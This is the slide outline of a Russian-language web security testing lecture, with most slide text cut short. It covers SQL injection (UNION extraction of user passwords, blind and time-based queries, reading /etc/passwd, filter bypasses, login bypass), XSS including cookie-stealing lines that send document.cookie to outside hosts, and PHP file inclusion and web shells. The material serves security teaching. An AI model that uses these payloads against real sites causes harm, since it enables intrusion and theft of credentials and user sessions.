Содержание
- 2. Зачем нужно тестировать защищенность 90% сайтов опасны для пользователей и представляют угрозу бизнесу. 43% сайтов не
- 3. SQL Injection Внедрение SQL-кода — один из распространённых способов взлома сайтов и программ, работающих с базами
- 5. Что может получить злоумышленник
- 7. Архитектура уязвимости типа SQL Injection
- 8. Простейший способ обнаружить уязвимость Добавляем одинарную кавычку к запросу: http://www.site.com/?id=1‘ Получаем ошибку типа: Warning: mysql_fetch_object(): supplied
- 9. Почему так происходит? query = "SELECT * FROM news WHERE id = '" + id +
- 10. Какие еще есть способы проверки? Использование простых арифметических операций в запросе: site.com/index.php?id=2-1(Выводит страницу 1) site.com/index.php?id=1*2(Выводит страницу
- 11. Как этим пользоваться? /?id=1' UNION SELECT user,password FROM users-- SELECT title,text FROM news WHERE id =
- 12. Blind SQL injection Тестирование истинных и ложных запросов: site.com/index.php?id=2’ AND ‘1’ = ‘1’-- site.com/index.php?id=2’ AND ‘1’=‘2’--
- 13. Double-blind injection Посимвольный перебор с помощью Benchmark: site.com/index.php?id=2’ OR id= IF(ASCII(SUBSTRING((SELECT USER()), 1, 1)))>=100, 1, BENCHMARK(2999999,MD5(NOW())))
- 14. На что еще обращать внимание? URL: http://www.google.com/search?q=inurl:select+inurl:%2520+inurl:from+inurl:where
- 15. Практика, или SQL Injection глазами злоумышленника Определение типа базы данных Проверка прав пользователя на запись файлов
- 16. Ошибки характерные для разных видов баз данных
- 17. Подбор количества столбцов 1. Простой перебор допустим у нас есть сайт с инъекцией: www.site.com/index.php?id=1‘ Выполняем такой
- 18. 2. Оператор ORDER BY www.site.com/index.php?id=-1+order+by+1-- ошибки нет, значит столбцов 1 или больше 1 www.site.com/index.php?id=-1+order+by+9999-- должна появится
- 19. Определение вывода Предположим мы подобрали количество столбцов и их оказалось 4 www.site.com/index.php?id=-1+union+select+null,null,null,null Теперь нас интересует в
- 20. Получаем информацию о версии и пользователе Для получения информации о текущем пользователе используется функция user() www.site.com/index.php?id=-1+union+select+null,user(),null,null--
- 21. Чтение и запись файлов Проверка возможности чтения/записи файлов: www.site.com/index.php?id=-1+union+select+null,file_priv,null,null+union+select+file_priv+from+mysql.user+where+user= ‘%USERNAME%'-- Чтение файла www.site.com/index.php?id=-1+union+select+null,file_priv,null,null+union+select+ union+select+LOAD_FILE('/etc/passwd')+from+mysql.user--
- 22. Узнаем таблицы Для получения информации о таблицах и колонках необходимо обратиться к служебной таблице Information_schema www.site.com/index.php?id=-1+union+select+null,TABLE_NAME,null,null+from+INFO
- 23. Получаем информацию о колонках Перебрав таблицы, определяем ту которая нам будет интересна. Пусть это будет USER,
- 24. Фильтрация кавычек Чаще всего, проделав действия описанные на предыдущем слайде, вы увидите ошибку: ERROR: syntax error
- 25. Фильтрация кавычек Второй способ: использование вложенного подзапроса www.site.com/index.php?id=-1+union+select+null,COLUMN_NAME,null,null+from+INF ORMATION_SCHEMA.COLUMNS+where+TABLE_NAME=(select+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+limit+1+offset+1)--
- 26. Фильтация пробелов В случае фильтрации пробелов существуют следующий способы обхода фильтра: Использование пробельных символов «/*!*/» и
- 27. Получение информации из таблицы Составляем запрос: www.site.com/index.php?id=-1+union+select+null,username,null,null+from+user-- Он возвратит нам в данном случае имя пользователя Можно
- 28. Уязвимость в скрипте авторизации Поле ввода имени пользователя: Username’-- Поле ввода пароля: 123' OR login='Admin' –
- 29. Демонстрация примеров
- 30. Программы для работы с инъекциями SQL InjectMe – плагин для Firefox Absinthe – утилита для проведения
- 31. XSS XSS (Сross Site Sсriрting — «межсайтовый скриптинг») — тип уязвимости интерактивных информационных систем в вебе.
- 32. XSS
- 33. XSS Цель Выполнить «чужеродный» JavaScript-код в браузере клиента, когда он находится на атакуемом сайте Как это
- 34. Классификация XSS Активный XSS Внедренный скрипт сохраняется в системе и становится доступен для вывода другим пользователям
- 35. Чем мы рискуем? Кража Cookies var іmg = new Image(); іmg.srс = 'http://site/xss.php?' + document.cookie; Кража
- 36. Метод обнаружения /?id="> alert(1) HTML - код страницы примет вид .. alert(1) "... В результате браузер
- 37. Типичный случай Самая распространенная разновидность XSS: "> alert() Вся суть в "> После добавления к форме
- 39. Фильтры: определяем наличие и качество В любое поле вводим проверочную строку: '';!--" =&{()} Далее открываем HTML
- 40. Практика Допустим фильтр экранирует В этом случае существует вероятность обхода фильтра. К примеру, фильтр настроен на
- 41. Автозакрывающиеся скобки: >>>> бывает, что фильтр подсчитывает открывающиеся и закрывающиеся скобки и закрывает сам. Автозакрытие тегов:
- 42. Кража Cookies До этого мы рассматривали скрипты типа: alert (' Test ') javascript:alert (' Test ')/
- 43. Как воспользоваться этим скриптом? http://site.ru/free?p='> img=new Image();img.src="http://test.com/s/Hack.gif?"+document.cookie;"+document.cookie; http://site.ru/free?p='> При этом файл js.js содержит: img=new Image();img.src="http://test.com/s/Hack.gif?"+document.cookie; этот
- 44. Изменение кодировки http://ha.ckers.org/xss.html Изначально скрипт выглядел так: http://cite.com/test?p='> После: %68%74%74%70%3A%2F%2F%63%69%74%65%2E%63%6F%6D%2F%74%65%73%74%3F%70%3D%27%3E%3C%73%63%72%69%70%74%20%73%72%63%3D%68%74%74%70%3A%2F%2F%74%65%73%74%2E%6E%65%74%2F%73%63%72%69%70%74%2F%6A%73%2E%6A%73%3E%3C%2F%73%63%72%69%70%74%3E%0A
- 45. DDoS-атака XSS-уязвимость на многопосещаемых ресурсах может быть использована для проведения DDoS-атаки. Суть проста — много запросов,
- 46. Демонстрация примеров
- 47. Инструменты для обнаружения XSS XSSme – аддон для Firfox DOMinator – анализатор наличия DOM-based XSS
- 48. PHP Injection PHP Injection или создание веб шеллов – это второй по популярности после SQL инъекции
- 49. Уязвимые функции Eval() Include() Require() Create_function() Preg_replace()
- 50. Виды инклудов Include ("$page.php"); … ?> Возможен Remote File Inclusion (RFI) Include ("files/$page.htm"); … ?> Возможен
- 51. Метод определения уязвимости index.php?page=shop Подставим dsdsds вместо shop: Warning: main(dsdsds.php): failed to open stream: No such
- 52. Веб шелл Это происходит потому, что код страницы имеет такой элемент .. Include ("$page.php"); … ?>
- 53. Выход за пределы текущего каталога Apache Tomcat 5 версии ниже 5.5.22 и Apache Tomcat 6 ниже
- 54. Инструменты для обнаружения Graudit - семантически-статический анализатор кода RIPS – утилита для поискам уязвимостей в PHP
- 55. Демонстрация примеров
- 57. Скачать презентацию